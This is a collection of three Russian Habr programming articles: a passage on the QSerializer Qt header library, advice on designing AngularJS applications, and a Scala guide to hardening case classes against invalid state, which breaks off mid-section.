Наследование от QSerializer позволит привести множество сериализуемых объектов к одному типу и сериализовать их скопом. Класс QSerializer содержит 4 метода-проводника, которые позволят разбирать properties объекта и один виртуальный метод для получения экземпляра QMetaObject:
```
QJsonValue toJson() const
void fromJson(const QJsonValue &)
QDomNode toXml() const
void fromXml(const QDomNode &)
virtual const QMetaObject * metaObject() const
```
Q\_GADGET не имеет всей метаобъектной обвязки, которую предоставляет Q\_OBJECT.
Внутри QSerializer экземпляр staticMetaObject будет представлять класс QSerializer, но никак не производный от него, поэтому при создании QSerializer-based класса необходимо переопределить метод metaObject. Можно добавить макрос QS\_SERIALIZER в тело класса и он переопределит метод metaObject за Вас.
А еще использование staticMetaObject вместо хранения экземпляра QMetaObject в каждом объекте экономит 40 байт от размера класса, ну вообще красота!
Декларация полей
----------------
Обособленно, в JSON и XML есть 4 вида сериализуемых данных, без которых сериализация в эти форматы не будет полноценной. В таблице приведены виды данных и соответствующие им макросы как способ описания:
| Вид данных | Описание | Макрос |
| --- | --- | --- |
| поле | обычное поле примитивного типа (различные числа, строки, флаги) | QS\_FIELD |
| коллекция | набор значений примитивных типов данных | QS\_COLLECTION |
| объект | сложная структура из полей или других сложных структур | QS\_OBJECT |
| коллекция объектов | набор из сложных структур данных одного типа | QS\_COLLECTION\_OBJECTS |
| словарь полей | словарь со значениями ключ-значение с примитивными типами значений | QS\_STL\_DICT и QS\_QT\_DICT |
| словарь объектов | словарь со значениями ключ-значение cо сложными типами значений, которыми могут выступать отдельные вложенные структуры | QS\_STL\_DICT\_OBJECTS и QS\_QT\_DICT\_OBJECTS |
Будем считать, что код, который генерируют эти макросы, называется описанием, а макросы, которые его генерируют — описательными.
Принцип генерации описания один — для конкретного поля сгенерировать JSON и XML property и определить методы записи/чтения значений.
Разберем генерацию описания JSON на примере поля примитивного типа данных:
```
/* Create JSON property and methods for primitive type field*/
#define QS_JSON_FIELD(type, name)
Q_PROPERTY(QJsonValue name READ get_json_##name WRITE set_json_##name)
private:
QJsonValue get_json_##name() const {
QJsonValue val = QJsonValue::fromVariant(QVariant(name));
return val;
}
void set_json_##name(const QJsonValue & varname){
name = varname.toVariant().value();
}
...
int digit;
QS\_JSON\_FIELD(int, digit)
```
Для поля int digit будет сгенерирован property digit с типом QJsonValue и определены приватные методы записи и чтения — get\_json\_digit и set\_json\_digit, они то и станут проводниками для сериализации/десериализации поля digit с использованием JSON.
**Как это происходит?**
В макросе под псевдонимом name лежит слово digit, два символа решетки ('##') конкатенируют слово digit с предстоящей последовательностью символов — так создаются методы.
Под псевдонимом type скрывается слово int. Представьте, что вместо type в сгенерированном коде будет написано int и все станет на свои места. Это дает возможность в макросе привести значение лежащее в QVariant к типу int и использовать этот макрос по отношению к любым другим типам.
А вот и генерация описания JSON для сложной структуры:
```
/* Generate JSON-property and methods for some custom class */
/* Custom type must be provide methods fromJson and toJson */
#define QS_JSON_OBJECT(type, name)
Q_PROPERTY(QJsonValue name READ get_json_##name WRITE set_json_##name)
private:
QJsonValue get_json_##name() const {
QJsonObject val = name.toJson();
return QJsonValue(val);
}
void set_json_##name(const QJsonValue & varname) {
if(!varname.isObject())
return;
name.fromJson(varname);
}
...
SomeClass object;
QS_JSON_OBJECT(SomeClass, object)
```
Сложные объекты — это набор вложенных properties, которые для внешнего класса будут работать как одно «большое» property, потому что такие объекты также будут иметь методы-проводники. Все что для этого нужно сделать — в методах чтения и записи у сложных структур вызывать соответствующий метод-проводник.
Создание класса
---------------
Таким образом, мы имеем достаточно простую инфраструктуру для создания сериализуемого класса.
Так, например, можно сделать класс сериализуемым с помощью наследования от QSerializer:
```
class SerializableClass : public QSerializer {
Q_GADGET
QS_SERIALIZABLE
QS_FIELD(int, digit)
QS_COLLECTION(QList, QString, strings)
};
```
**Пример сериализации в JSON**
Добавим еще один класс для полноты картины:
```
class CustomType : public QSerializer {
Q_GADGET
QS_SERIALIZABLE
QS_FIELD(int, someInteger)
QS_FIELD(QString, someString)
};
class SerializableClass : public QSerializer {
Q_GADGET
QS_SERIALIZABLE
QS_FIELD(int, digit)
QS_COLLECTION(QList, QString, strings)
QS_OBJECT(CustomType, someObject)
QS_COLLECTION_OBJECTS(QVector, CustomType, objects)
};
```
Создание объекта, его наполнение и сериализация:
```
SerializableClass serializable;
serializable.someObject.someString = "ObjectString";
serializable.someObject.someInteger = 99999;
for(int i = 0; i < 3; i++) {
serializable.digit = i;
serializable.strings.append(QString("list of strings with index %1").arg(i));
serializable.objects.append(serializable.someObject);
}
QJsonObject json = serializable.toJson();
```
Получившийся JSON:
```
{
"digit": 2,
"objects": [
{
"someInteger": 99999,
"someString": "ObjectString"
},
{
"someInteger": 99999,
"someString": "ObjectString"
},
{
"someInteger": 99999,
"someString": "ObjectString"
}
],
"someObject": {
"someInteger": 99999,
"someString": "ObjectString"
},
"strings": [
"list of strings with index 0",
"list of strings with index 1",
"list of strings with index 2"
]
}
```
Как видите — ничего сверхъестественного, все перечисленное эквивалентно и для XML формата, нужно только заменить метод toJson на toXml.
Более подробные примеры Вы найдете в папке [example](https://github.com/smurfomen/QSerializer/tree/master/example).
Ограничения
-----------
**Одиночные поля**
Пользовательские или примитивные типы должны предоставлять конструктор по умолчанию.
**Коллекции**
Класс коллекции должен быть шаблонным и предоставлять методы clear, at, size и append. Вы можете использовать собственные коллекции при соблюдении условий. Коллекции Qt, удовлетворяющие этим условиям: QVector, QStack, QList, QQueue.
**Версии Qt**
Минимальная версия Qt 5.5.0
Минимальная протестированная версия Qt 5.9.0
Максимальная протестированная версия Qt 5.15.0
**NOTE: вы можете поучаствовать в тестировании и проверить QSerializer на более ранних версиях Qt**
Итог
====
При переработке QSerializer, я совершенно не ставил перед собой задачу уменьшить его в разы. Однако его объем снизился с 9 файлов до 1, что также снизило его сложность. Сейчас QSerializer больше не являет собой библиотеку в привычном нам виде, сейчас — это просто заголовочный файл, который достаточно включить в проект и получить весь функционал для комфортной сериализации/десериализации. Разработка началась еще в марте, придумывалась хитрая архитектура и проект обрастал зависимостями, костылями, переписывался с 0 несколько раз. И все для того, чтобы в конечном итоге превратиться в небольшой файлик.
Спрашивая себя: «Стоил ли он потраченных на него усилий?», я отвечу: «Да, стоил». Я уже успел опробовать его на своих боевых проектах и результат меня порадовал.
**Links**
GitHub: [ссылка](https://github.com/smurfomen/QSerializer)
Последний релиз: [v1.2](https://github.com/smurfomen/QSerializer/releases/tag/v1.2)
Предыдущая статья: [QSerializer: решение для простой сериализации JSON/XML](https://habr.com/ru/post/496836/)
**Future list**
* Существенное удешевление (можно сделать еще дешевле)
* Компактность
* Работа со значимыми типами
* Элементарное описание сериализуемых данных
* Поддержка любых шаблонных коллекций, предоставляющих методы clear, at, size и append. Даже собственных
* Поддержка словарей таких как QMap, QHash, std::map для сложных сериализуемых типов и примитивных типов
* Полная изменяемость коллекций при десериализации
* Поддержка всех популярных примитивных типов
* Поддержка любого пользовательского типа, описанного с использованием QSerializer
* Отсутствие необходимости регистрировать пользовательские типы | https://habr.com/ru/post/515094/ | null | ru | null |
# Опыт разработки и проектирования на AngularJS
Всем привет!
В нашей компании, помимо разработки собственной [СУБД](http://linter.ru/ru/), также занимаются заказными разработками по самым разным направлениям, от суровых java-энтерпрайз приложений до небольших мобильных приложений. Наши команды стараются использовать передовые технологии и фреймворки. И как раз я являюсь представителем одной из таких команд. Сегодня хочу поделится опытом разработки на [AngularJS](https://angularjs.org/) и парой мыслей о проектировании веб приложения с использованием этого фреймворка.
За время, которое я занимаюсь разработкой, мне приходилось сталкиваться с различными подходами к написанию приложений. Кто-то оборачивает простые вещи в очень странные обертки, так что автору кода приходится в дальнейшем прибегать к «комплементарному декаплингу эксплицируемых компонент» (с). Есть люди, которые, наоборот, нисколько не заморачиваются с архитектурными изысками и пишут код «здесь и сейчас», не заботясь о дальнейшем сопровождении и психическом здоровье коллег. Мне кажется, что код всё же должен быть в меру наполнен абстракциями, и при этом легко делиться на логические модули и легко читаться. Знакомство с AngularJS пару лет назад принесло понимание, как это может неплохо выглядеть в javascript'е.
#### Требования к приложению
Можно много спорить о достоинствах и недостатках AngularJS, оставим эти споры за рамками заметки, остановимся только на главном вопросе — можно ли использовать AngularJS в серьезном приложении?
С одной стороны, фреймворк накладывает некоторые ограничения на структуру приложения и вводит свои собственные термины для ее описания. Другая же структура и подходы [многих](http://habrahabr.ru/post/246905/) ставят в тупик, но это, на мой взгляд, спорный минус, поскольку любой фреймворк, решающий такие масштабные задачи, так или иначе подгоняет под себя архитектуру. Написать приложение на одном фреймворке, а потом с легкостью перенести на другой — это типичная “программистская утопия”. Поэтому аргументы по этому пункту многих коллег мне кажутся сильно надуманными.
С другой стороны находится производительность как краеугольный камень любого одностраничного веб-приложения. Во многом производительность AngularJS зависит от того, насколько глубоко вы в него погрузились и насколько правильно используете те или иные компоненты фреймворка. [Это не скрывают и создатели AngularJS](http://stackoverflow.com/questions/9682092/databinding-in-angularjs/9693933#9693933) и честно рассказывают, как все устроено внутри и как можно избежать проблем со скоростью. Главная суть в том, что фреймворк — это инструмент, а каждому инструменту подходит какой-то определенный тип задач.
Итак, давайте посмотрим, какие задачи AngularJS **не** поможет нам решить:
1. У вас приложение с большим количеством (тысячи) элементов, которые постоянно добавляются, удаляются и перемещаются на одной странице. Это может быть, например, игра или анимационное приложение.
2. Ваше приложение оперирует на клиентской части большим количеством “сырых” данных — постоянно их преобразует, что вынуждает изменять модели и соответственно перерисовывать их отображение.
3. У вас есть готовый код, написанный, например, при помощи JQuery и не отличающийся грамотностью, т.е. представляет собой попросту говоря “лапшу”. Приведение такого кода в соответствие с концепциями AngularJS может быть слишком трудоемко.
В других случаях я не вижу препятствий использовать этот фреймворк в своих проектах. Если у вас есть еще примеры неудачного использования AngularJS, приведите их в комментариях, я обязательно пополню этот список.
#### Проектирование веб-приложения.
Мы выбрали инструмент, определились, что он подходит нашей задаче, теперь давайте приступим к проектированию.
Для начала необходимо разбить весь наш функционал на модули и разграничить ответственность компонентов. На практике это сводится к построению сервисов, директив и контроллеров, а также объединению их в модули. Давайте разберемся, что означает каждая из этих базовых сущностей.
* **Модуль** — контейнер, который хранит в себе компоненты, решающие одну или несколько задач.
* **Сервис** — компонент, который хранит в себе переиспользуемый код или объект и позволяет выделять общую логику для работы других компонентов. Это могут быть операции над объектом, хранилища данных, кэш и пр.
* **Директива** — компонент, который представляет собой переиспользуемый виджет или специфичный код для работы с DOM-деревом браузера и стилями.
* **Контроллер** — компонент, содержащий специфичную логику (в т.ч. и UI логику) для работы конкретной страницы или ее части.
Построение взаимодействия этих компонентов целиком ложится на плечи программиста, разработчики фреймворка только дают некоторые [рекомендации](https://docs.angularjs.org/guide/concepts), как его можно построить. К сожалению это и является, по моему мнению, главной проблемой фреймворка, потому что на этой стадии не все следуют подобным гайдам и начинается неправильное построение системы, она становится неподдерживаемой и код (вместе с производительностью) превращается в кошмар.
Пересказ типичных вариантов построения компонентов я приводить не буду, они отлично описаны множеством людей, например, [здесь](http://www.codeproject.com/Articles/869712/AngularJS) и [здесь](https://leanpub.com/web-component-development-with-angularjs/read).
Приведу несколько полученных опытным путем рекомендаций, как можно эффективнее строить взаимодействие наших компонентов.
1. Постоянно следите за кодом и не бойтесь его рефакторить. Мне приходится часто сталкиваться с мнением “работает — не трогай”, но такой подход не ведет к развитию проекта и со временем в модуле начинает накапливаться код, который становится неуправляемым. Примером может послужить один сложный контроллер главной страницы, который рано или поздно разбухнет до стадии “чтобы исправить баг мне нужно очень много часов”.
2. Если у вас сложная директива, которая требует постоянного взаимодействия с бизнес-логикой (например, интерактивная карта с метками и геолокацией), создайте к ней свой сервис. Этот сервис будет работать как интерфейс, который можно передать в другие сервисы или контроллеры, что значительно упростит код и инкапсулирует логику взаимодействия.
**Пример**
```
angular.module('googleMap', [])
// наш сервис (интерфейс)
.factory('GoogleMapService', function () {
var mapInstance;
return {
currentLocation: {
lat: "",
lng: ""
},
createMapInstance: function (mapNode, options) {
mapInstance = {
map: new google.maps.Map(mapNode, options.mapOptions),
geocoder: angular.isDefined(options.geocoder) ? new google.maps.Geocoder() : undefined
};
return mapInstance.map;
},
setCenter: function (lat, lng) {
mapInstance.map.setCenter(lat, lng);
},
setZoom: function (value) {
mapInstance.map.setZoom(value);
},
setCurrentLocation: function (lat, lng) {
this.currentLocation.lat = lat;
this.currentLocation.lng = lng;
// ... логика установки
},
getCurrentLocation: function () {
return this.currentLocation.lat != "" && this.currentLocation.lng != "" ? new google.maps.LatLng(this.currentLocation.lat, this.currentLocation.lng) : undefined;
},
geocodeLocation: function (lat, lng, callbackSuccess, callbackError) {
if (angular.isDefined(mapInstance.geocoder)) {
mapInstance.geocoder.geocode({location: new google.maps.LatLng(lat, lng)}, function (results, status) {
if (status == google.maps.GeocoderStatus.OK) {
callbackSuccess(results[0] ? results[0].formatted_address : '');
} else {
if (status === 'OVER_QUERY_LIMIT') {
callbackError('Exceeded the map usage limits per second');
}
}
})
}
},
destroy: function () {
// ... уничтожаем карту
}
// другие методы
}
})
// наша директива
.directive('googleMap', ['GoogleMapService', function (GoogleMapService) {
return function (scope, element, attrs) {
//map options
var mapOptions = {
zoom: angular.isDefined(GoogleMapService.getCurrentLocation()) ? 10 : 4,
center: angular.isDefined(GoogleMapService.getCurrentLocation()) ? GoogleMapService.getCurrentLocation() : new google.maps.LatLng(39.164141, -102.304687),
mapTypeId: google.maps.MapTypeId.ROADMAP
};
//Google API map object
var map = GoogleMapService.createMapInstance(element[0], {
mapOptions: mapOptions,
autocomplete: attrs.autocomplete,
geocoder: attrs.geocoder
});
scope.$on('$destroy', function () {
GoogleMapService.destroy();
});
// остальная визуальная логика по карте
}
}]);
// пример использования
angular.module('someModule', [])
.controller('$scope', 'GoogleMapService',
function ($scope, GoogleMapService) {
GoogleMapService.setCurrentLocation($scope.lat, $scope.lng);
GoogleMapService.geocodeLocation($scope.lat, $scope.lng, function (result) {
$scope.address = result;
}, function (errorMessage) {
$scope.errorMessage = errorMessage;
});
GoogleMapService.setZoom(10);
});
...
```
3. Активно используйте [внутренний контроллер](https://docs.angularjs.org/api/ng/type/ngModel.NgModelController#creating-directives-that-communicate) директивы для сокрытия логики работы вашего виджета. Вместо внешнего управления директивой, попробуйте убрать все “потроха” внутрь.
4. Избегайте управления DOM-деревом напрямую в контроллере. Иногда это кажется проще, чем написать отдельную директиву, однако для получения структурированного кода необходимо следовать этой рекомендации. К тому же, сам AngularJS “из коробки” предоставляет большое количество готовых [мини-директив](https://docs.angularjs.org/api/ng/directive), помогающих в задачах вроде “показать элемент, если… ” и “добавить класс, если… ”
5. С умом используйте двойное связывание, а там где это возможно, используйте одностороннее связывание. Переизбыток отслеживаемых переменных может привести к падению скорости. Если у вас не предполагается изменение переменной, используйте [одностороннее связывание](https://docs.angularjs.org/guide/expression#one-time-binding)
6. Если по какой-либо причине прямая связь между контроллером, сервисом и директивой невозможна, используйте паттерн “Наблюдатель” ([википедия](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D0%B1%D0%BB%D1%8E%D0%B4%D0%B0%D1%82%D0%B5%D0%BB%D1%8C_%28%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%29) и [шина событий в AngularJS](https://docs.angularjs.org/api/ng/type/$rootScope.Scope#$on)). Тем не менее, важно этим не злоупотреблять, потому что зарегистрировать и получить событие можно в каждом контексте ($scope) любого контроллера. Избыток таких конструкций усложняет понимание и отладку кода. Для глобальных системных событий вместо использования $broadcast в конкретном контексте лучше подписывать события на $rootScope и иницииривать на нем же через $rootScope.$emit. (спасибо [serf](https://habrahabr.ru/users/serf/) за дополнение)
7. Избегайте использования корневого контекста ($rootScope), старайтесь изолировать логику внутри одного контроллера или связки контроллер-сервис. Корневой контекст работает на всё приложение целиком, поэтому, например, добавленные туда функции отслеживания ($watch) будут срабатывать при каждом цикле ($digest), когда изменяется переменная в разных местах приложения.
8. Разберитесь (если еще не разобрались) и используйте механизм [promise](http://habrahabr.ru/post/209662/) (“обещаний”). Это простой и наглядный способ избавиться от спагетти-кода при вызове асинхронных функций. Также, одним из интересных применений “обещаний” является сообщение дочерним контроллерам о выполнении асинхронных запросов (через механизм наследования контекста).
**Пример**
```
...
function Controller1($scope, DataLoaderService) {
...
// данные загружаются асинхронно
$scope.dataLoaded = DataLoaderService.get(...);
...
}
...
function Controller2($scope, DataLoaderService) {
...
$scope.dataLoaded.then(function(result) {
// вызов функции произойдет когда завершится запрос из Controller1
...
});
...
}
```
#### Немного полезных инструментов.
Помимо рекомендаций, хотелось бы поделиться полезными инструментами для построения эффективного процесса отладки и разработки. В своей работе мы активно используем:
1. [**WebStorm IDE**](https://www.jetbrains.com/webstorm/). Думаю, IDE не нуждается в представлении, простая и очень удобная в использовании среда от ребят из [JetBrains](http://habrahabr.ru/company/JetBrains/). Поддержка AngularJS из коробки, включая автоподстановку.
2. [**JSDoc 3**](http://usejsdoc.org/). Документация на проекте является важным фактором его успешности, поскольку хорошо документированный код проще поддерживать. Уже давно действует стандарт написания документации к javascript — JSDoc — и его можно использовать для документирования кода вашего AngularJS приложения. Для генерации красивых html страничек можно использовать специальный [генератор](https://github.com/jsdoc3/jsdoc), он прост и требует только Node.js.
3. [**Jasmine**](http://jasmine.github.io/). Код, написанный на javascript, можно и нужно тестировать. Unit тестирование возможно и в AngularJS, при помощи фреймфорка Jasmine и “запускатора” [Karma](https://github.com/karma-runner/karma). Опять же вам потребуется Node.js, а настройка всего окружения не должна отнять много времени и подробно описана у каждого инструмента.
4. [**Closure Compiler**](https://developers.google.com/closure/compiler/?hl=ru). Для ускорения загрузки код можно минифицировать с помощью javascript компилятора, а в некоторых местах и оптимизировать. Для AngularJS отлично подходит Closure Compiler (к слову сам AngularJS [собирается им же](https://docs.angularjs.org/misc/contribute)). Отличный гайд как собрать ваше приложение лежит [тут](http://google.github.io/styleguide/angularjs-google-style.html). От себя лишь добавлю, что ваше приложение, увы, [не заработает в режиме ADVANCED\_OPTIMIZATIONS](https://groups.google.com/forum/#!topic/angular/hePiqQA-MCI).
5. [**ng-annotate**](https://github.com/olov/ng-annotate). Дополнительный модуль для Node.js, который позволяет автоматически добавлять в код зависимости для инъекций. В результате, можно избавиться от лишнего кода. (спасибо [anotherpit](https://habrahabr.ru/users/anotherpit/) за дополнение)
**Пример**
```
// Обычный код, так объявляется контроллер в AngularJS
angular.module("MyMod").controller("MyCtrl", ["$scope", "$timeout", function($scope, $timeout) {}]);
// С помощью ng-annotate можно писать так. После прогона через дополнение, код станет таким же, как и выше.
angular.module("MyMod").controller("MyCtrl", function($scope, $timeout) {});
```
В заключение хочу сказать, если у вас есть свои наработанные рекомендации и удобные инструменты, предлагаю обсудить их в комментариях и расширить эту заметку.
Спасибо за внимание!
P.S. Заметка об Angular 1, я специально не стал упоминать Angular 2, поскольку он еще находится в глубокой альфе, и пока применять его в реальных приложениях не рекомендуют сами разработчики. | https://habr.com/ru/post/262529/ | null | ru | null |
# Эффективные шаблоны case-классов в Scala
**Обзор**
Это руководство, прочитать которое я хотел бы много лет назад, когда только начинал свой путь в Scala. Мне пришлось потратить большое количество времени на бесполезные блуждания вокруг да около, чтобы прийти к простым и действенным советам, описанным ниже.
Поскольку это фантастическая интеграция ООП и ФП, [case-класс](https://docs.scala-lang.org/overviews/scala-book/case-classes.html) является основной рабочей лошадкой в любом проекте по разработке программного обеспечения на Scala. В Scala он в основном разработан и предназначен (но не исключительно) для использования в качестве (иммутабельного) [типа-произведения ФП](https://en.wikipedia.org/wiki/Product_type).
К сожалению, DCCP (Default Case Class Pattern. Шаблон case-класса по умолчанию)...
```
case class Longitude(value: Double)
```
...несмотря на лаконичность, гибкость, удобство и широкое применение, страдает от ряда проблем, которые можно разделить на следующие категории:
1. Путаница с расширениями
2. Повышенная сложность аргументации
3. Скудный дизайн для ФП
4. Будущий технический долг
5. Уязвимости безопасности
6. Влияние на производительность
Цель этой статьи — предложить несколько новых шаблонов, которые можно использовать для замены стандартных, которые предоставляет компилятор Scala для решения вышеперечисленных проблем. Я проведу эволюционный процесс, в результате которого будут появляться все более детализированные шаблоны, любой из которых может стать этапом "апгрейда", который вы предпочтете.
**DELAYED (ОТЛОЖЕН)** ([ошибка в IntelliJ движке для обработки шаблонов](https://youtrack.jetbrains.com/issue/IDEA-287628)).
### Всегда помечайте как окончательный (Final)
После многих лет использования case-классов стало очевидно, что расширять их с помощью наследования — плохая идея.
Таким образом, наш самый первый паттерн — это просто добавление в начало `final` к DCCP:
```
final case class Longitude(value: Double)
```
Это гарантирует, что не будут определены потомки, с благими или дурными намерениями, наследуемые от case-класса, которые случайно или целенаправленно злоупотребляют "[принципом подстановки Liskov (LSP)](https://www.alpharithms.com/liskov-substitution-principle-lsp-solid-114908/)".
Хотя некоторые не станут утруждать себя этим, можно настроить компилятор Scala так, чтобы он выдавал предупреждение или ошибку при встрече с не окончательным case-классом (все еще пытаюсь найти опцию[и] компилятора). IntelliJ предлагает нечто подобное. Я предпочитаю доверять компилятору, чтобы он указал мне на мои ошибки, чем своей способности все время помнить это правило.
Для маркировки (case) класса как `final` существует дополнительная причина, связанная с производительностью. Есть оптимизации, как компиляторные, так и в рантайме JVM, которые срабатывают только при наличии (case) класса, помеченного `final`.
Почему?
Потому что когда (case) класс не помечен `final`, рантайм JVM должен предполагать, что загрузчик может *в конечном итоге* загрузить еще один (case) класс в качестве расширения.
Современные JVM имеют более сложные стратегии в этой области. То есть, когда вызывается загрузчик классов, любой текущий код, который может быть подвержен воздействию, откатывает все свои оптимизации, а затем оптимизируется заново. Откат и переоптимизация также сказываются на производительности — надеюсь, в меньшей степени.
Имплементация этого зачастую оказывает влияние на следующие категории вышеупомянутого обзора...
2: Повышенная сложность рассуждений
3: Плохой дизайн для ФП
4: Будущий технический долг
5: Уязвимости безопасности
6: Влияние на производительность
### Воспроизведение сгенерированного компилятором кода
Одно из самых больших разочарований новичков в Scala — это когда они хотят "улучшить" DCCP, сделав объект-компаньон явным. Например, если наивно добавить в начало `object` как здесь:
```
object Longitude {
}
final case class Longitude(value: Double)
```
Сгенерированный компилятором код позволил использовать трейт `FunctionN` как расширение для "объекта-компаньона по умолчанию". Приведенный выше код этого не делает. И любой код, зависящий от отсутствующего трейта, теперь не скомпилируется (например, метод `tupled`).
Для начинающего разработчика программного обеспечения на Scala это может быть довольно сложным и дезориентирующим. Не существует никакого "официального руководства" о том, как сделать объект-компаньон по умолчанию явным. Загуглить это не так уж и просто. [Вот как я исследовал этот пробел на StackOverflow в 2014 году](https://stackoverflow.com/a/25414109/501113).
Итак, решение заключается в расширении объекта-компаньона с помощью `FunctionN`, чтобы он выглядел следующим образом:
```
object Longitude extends (Double => Longitude) {
def apply(value: Double): Longitude =
new Longitude(value)
}
final case class Longitude(value: Double)
```
[Scastie Сниппет](https://scastie.scala-lang.org/7ZODNxhnQ0uCSyJ2MT4t6g)
Чтобы лучше понять, как `FunctionN` представлена в виде `(Double => Longitude)`, [вот пост 2013 года на StackOverflow](https://stackoverflow.com/q/19548103/501113), в котором мне самому пришлось изучить этот вопрос более глубоко.
И этот паттерн теперь послужит основой, на которой будет заполняться оставшаяся часть шаблона.
Имплементация этого зачастую оказывает влияние на данную категорию обзора:
* 1: Путаница с расширениями
### Предотвращение создания экземпляров, содержащих недопустимое состояние
Одной из максим в ООП DbC ([Design by Contract](https://en.wikipedia.org/wiki/Design_by_contract) — проектирование по контракту, зародилось в Eiffel) и ФП является предотвращение представления недопустимых состояний. При успешном достижении этой цели значительно сокращается объем "защитного" кода (то есть проверки предусловий) для любых клиентов, использующих экземпляры case-класса.
Наивная реализация первого прохода (которая также встречается и рекомендуется почти во всех учебниках по Scala) заключается в использовании функциональности `require` в конструкторе case-класса. Это выглядит следующим образом:
```
final case class Longitude(value: Double) {
require(value >= -180.0d, s"value [$value] must greater than or equal to -180.0d")
require(value <= 180.0d, s"value [$value] must be less than or equal to 180.0d")
}
```
[Scastie Сниппет](https://scastie.scala-lang.org/dGTqj6BNRyOKDN2lsvSYBQ)
Эта реализация выбрасывает исключение при первом неудачном выполнении `require`.
При таком подходе есть три проблемы:
1. Когда есть другие параметры, которые также должны быть валидированы, это потребует нескольких проходов для их проверки, хотя они могли бы быть корректно проверены еще в предыдущем проходе, если бы разрешалось возвращать несколько ошибок.
2. Имплементация `require` заставляет клиента разбираться с исключениями ([избегайте использования исключений для предполагаемых ошибок](https://nrinaudo.github.io/scala-best-practices/referential_transparency/avoid_throwing_exceptions.html), как и [обычно](https://stackoverflow.com/a/12886474/501113)). В большинстве случаев, [оверхед производительности инфраструктуры исключений](https://www.baeldung.com/java-exceptions-performance) (как нагрузка на процессор, так и давление на память и ее отток) является значительным и по существу неоптимизируемым (это оспаривается). И даже за рамками причин низкой производительности, [имплементации ФП категорически предпочитают "ошибку по значению"](https://blog.rockthejvm.com/idiomatic-error-handling-in-scala/) в противоположность "ошибке по исключению".
3. Это не позволяет клиенту "проверять предварительные условия" до инстанцирования. Такое смешение проблем препятствует возможностям для оптимизации, когда конструктор, и, следовательно, выделение памяти для экземпляра, никогда не вызывается, потому что уже известно, что предварительные условия не были выполнены.
Мы можем решить все перечисленные трудности одним махом, используя стандартный шаблон для разделения проблем. В данном случае это паттерн ООП "Фабрика" (он же Builder, Smart Constructor и так далее).
Сначала мы переносим всю логику валидации в свой метод `generateInvalidStateErrors`. Затем убеждаемся, что метод `apply` вызывает оператор `new` и принимает/отклоняет инстанцирование, предварительно валидировав переданное значение(я) параметра(ов). Теперь это должно выглядеть следующим образом:
```
object Longitude extends (Double => Longitude) {
def generateInvalidStateErrors(value: Double): List[String] =
if (value < -180.0d)
List(s"value of value [$value] must be not be less than -180.0d")
else
if (value > 180.0d)
List(s"value of value [$value] must be not be greater than 180.0d")
else
Nil
def apply(value: Double): Longitude =
generateInvalidStateErrors(value) match {
case Nil =>
new Longitude(value)
case invalidStateErrors =>
throw new IllegalStateException(invalidStateErrors.mkString("|"))
}
}
final case class Longitude(value: Double)
```
[Scastie Сниппет](https://scastie.scala-lang.org/z5W51xPbQgmJ8rLS4AqOew)
Несмотря на то, что паттерн уже внедрен, все еще остается брешь, когда клиент может просто использовать оператор `new`, чтобы обойти метод `apply` в объекте-компаньоне. Это можно исправить, пометив конструктор case-класса как `private`. Это выглядит следующим образом:
```
final case class Longitude private(value: Double)
```
[Scastie Сниппет](https://scastie.scala-lang.org/z5W51xPbQgmJ8rLS4AqOew)
Похоже, что мы закончили, верно?
Упс! Векторы коварных атак на подходе!
Оказывается, есть еще два варианта конструкторов, сгенерированных компилятором, которые мы должны рассмотреть
1. Метод `readResolve` — Поддерживает сгенерированный компилятором интерфейс `Serializable`. Это особенно опасно, поскольку он инстанцирует память для case-класса, а затем напрямую внедряет (возможно, вредоносное) десериализованное содержимое в память экземпляра. При этом полностью обходятся как метод `apply`, так и конструктор объекта. Таким образом, не происходит никакой проверки.
2. Метод `copy` — Использует оператор `new` и может так делать, поскольку метод находится в приватной области видимости конструктора. Это позволяет обойти валидацию, перенесенную в объект-компаньон и вызываемую через метод `apply`.
В каждом из этих случаев мы хотим перенаправить метод на `apply` объекта-компаньона. Это должно выглядеть следующим образом:
```
final case class Longitude private(value: Double) {
private def readResolve(): Object =
Longitude(value)
def copy(value: Double = value): Longitude =
Longitude(value)
}
```
[Scastie Сниппет](https://scastie.scala-lang.org/DfhkB0AMRUe5lFx0rITGuQ)
Если вы знаете, что case-класс никогда не будет использоваться там, где применяется Java-сериализация, то смело удаляйте метод `readResolve`.
Хотя я тоже [не переношу сериализацию Java](https://www.youtube.com/watch?v=dOgfWXw9VrI), помните, что некоторые платформы, такие как Kafka и Spark, по-прежнему от нее зависят. (Вы также можете встретить старый код Akka, который ее использует, хотя она не применяется по умолчанию в Akka и даже не рекомендуется.) И это означает, что если метод `readResolve` отсутствует, то вы оставили свой case-класс открытым для вредоносной атаки, которая обходит иммутабельный инвариант вашего case-класса, закодированный в проверке предусловия, реализованной в методе `generateInvalidStateErrors`.
Итак, мы убедились, что не существует приемлемых способов инстанцировать этот case-класс без прохождения проверки предварительного условия (валидации состояния перед вызовом оверхеда инстанцирования). Существуют патологические пути, которые могут быть связаны с незаконным использованием Java reflection API, и у нас нет реального способа защититься от них.
Теперь паттерн должен выглядеть следующим образом:
```
object Longitude extends (Double => Longitude) {
def generateInvalidStateErrors(value: Double): List[String] =
if (value < -180.0d)
List(s"value of value [$value] must be not be less than -180.0d")
else
if (value > 180.0d)
List(s"value of value [$value] must be not be greater than 180.0d")
else
Nil
def apply(value: Double): Longitude =
generateInvalidStateErrors(value) match {
case Nil =>
new Longitude(value)
case invalidStateErrors =>
throw new IllegalStateException(invalidStateErrors.mkString("|"))
}
}
final case class Longitude private(value: Double) {
private def readResolve(): Object =
Longitude(value)
def copy(value: Double = value): Longitude =
Longitude(value)
}
```
[Scastie Сниппет](https://scastie.scala-lang.org/DfhkB0AMRUe5lFx0rITGuQ)
Имплементация этого зачастую оказывает влияние на следующие категории обзора:
* 2: Повышенная сложность рассуждений
* 4: Будущий технический долг)
* 5: Уязвимости безопасности
* 6: Влияние на производительность
### Добавление конструктора ошибок по значению
Стратегия по умолчанию в case-классах заключается в использовании "ошибки по исключению". Это то, что представляет собой использование `require`. Если условие `Boolean` ложно, то выбрасывается исключение, обертывающее предоставленную вами строку ошибки.
С точки зрения правильной разработки ФП, исключения считаются плохим способом управления общеизвестными условиями ошибок, как например, предусловия case-класса. Исключения допустимы для таких чрезвычайных ситуаций, как нехватка памяти или открытие соединения с базой данных. Однако и их следует избегать, в том случае, если ошибка возникает только в пределах одного из разделов метода.
